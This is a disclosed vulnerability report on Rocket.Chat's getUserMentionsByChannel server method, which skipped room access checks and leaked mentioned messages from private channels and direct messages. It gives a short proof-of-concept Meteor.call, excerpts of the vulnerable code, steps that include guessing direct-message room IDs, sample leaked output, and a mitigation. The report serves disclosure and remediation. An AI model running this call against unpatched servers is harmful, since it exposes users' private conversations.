1 getUserMentionsByChannel leaks messages with mention from private channel

Share:

SUMMARY BY ROCKET.CHAT

Summary

The `getUserMentionsByChannel` meteor server method discloses messages from private channels and direct messages regardless of the users access permission to the room.

Description

When calling the `getUserMentionsByChannel` method, the server does not check the users access to the given room and returns all messages the user has been mentioned in.

Code 90 Bytes

```
Meteor.call(
  "getUserMentionsByChannel",
  { roomId: "<TARGET_ROOM>" },
  console.log
);
```

The issue was found in app/mentions/server/methods/getUserMentionsByChannel.js#L7-L23 where roomId is verified to be a String only.

Code 544 Bytes

```
Meteor.methods({
  getUserMentionsByChannel({ roomId, options }) {
      check(roomId, String);

      if (!Meteor.userId()) {
          throw new Meteor.Error('error-invalid-user', 'Invalid user', { method:
      }
```

```
11        if (!room) {
12            throw new Meteor.Error('error-invalid-room', 'Invalid room', { method:
13        }
14
15        const user = Users.findOneById(Meteor.userId());
16
17        return Messages.findVisibleByMentionAndRoomId(user.username, roomId, optic
18    },
19 });
```

The server will return all messages the requesting user has been @ mentioned in.

Releases Affected:

- `4.1.2`
- `3.18.3`
- First 99065f7518bc88341210c0e38678bc3c97e3b58a (12.03.2018)

Steps To Reproduce (from initial installation to vulnerability):

1. Login to Rocket.Chat
2. Obtain Room Id
    1. Guess Direct Message roomId from User IDs
    2. Leak private Message ID with unknown vulnerability
3. Call `getUserMentionsByChannel` with given `{ roomId: "<Value>" }`
4. Read messages where the own user was mentioned in console.log output

Supporting Material/References:

The following example leks a private message between two users to a third account `trudy` who performs the requests from the authenticated client disclosing a direct message between `alice` and `bob`.

Code 556 Bytes

```
1 Meteor.user().username
2 // > 'trudy'
3 let alice = 'kYfzDMQLyPFjS9ASb';
4 let bob = 'zZnrfd2RvcWhspr6S';
```

```
  (err, data) => console.log(
      data
        .map((m) => `${m._id} ${m.u.username} (${m.ts.toGMTString()}): ${m.msg}`
        .join("\n")
  )
);
// > Yp6NoMZk34mnQZiBR alice (Thu, 25 Nov 2021 14:17:25 UTC): Mention @trudy som

Meteor.call("getMessages", ["Yp6NoMZk34mnQZiBR"], (err, data) => console.log(err
// > Not allowed [error-not-allowed]
```

Suggested mitigation

- Check for permission to read messages from the room given in in `{ roomId }` method argument.

Impact

Authenticated users can disclose all messages they were mentioned in from private channels and direct messages they should not have access to.

Fixed in

We have fix this issue in version 5.0>

TIMELINE

gronke submitted a report to Rocket.Chat. — Nov 25th (about 1 year ago)

mrrorschach Rocket.Chat staff changed the status to ○ **Triaged**. — Jan 7th (11 months ago)

mrrorschach Rocket.Chat staff closed the report and changed the status to ○ **Resolved**. — Jul 4th (5 months ago)

mrrorschach Rocket.Chat staff requested to disclose this report. — Sep 22nd (2 months ago)

mrrorschach Rocket.Chat staff disclosed this report. — Sep 22nd (2 months ago)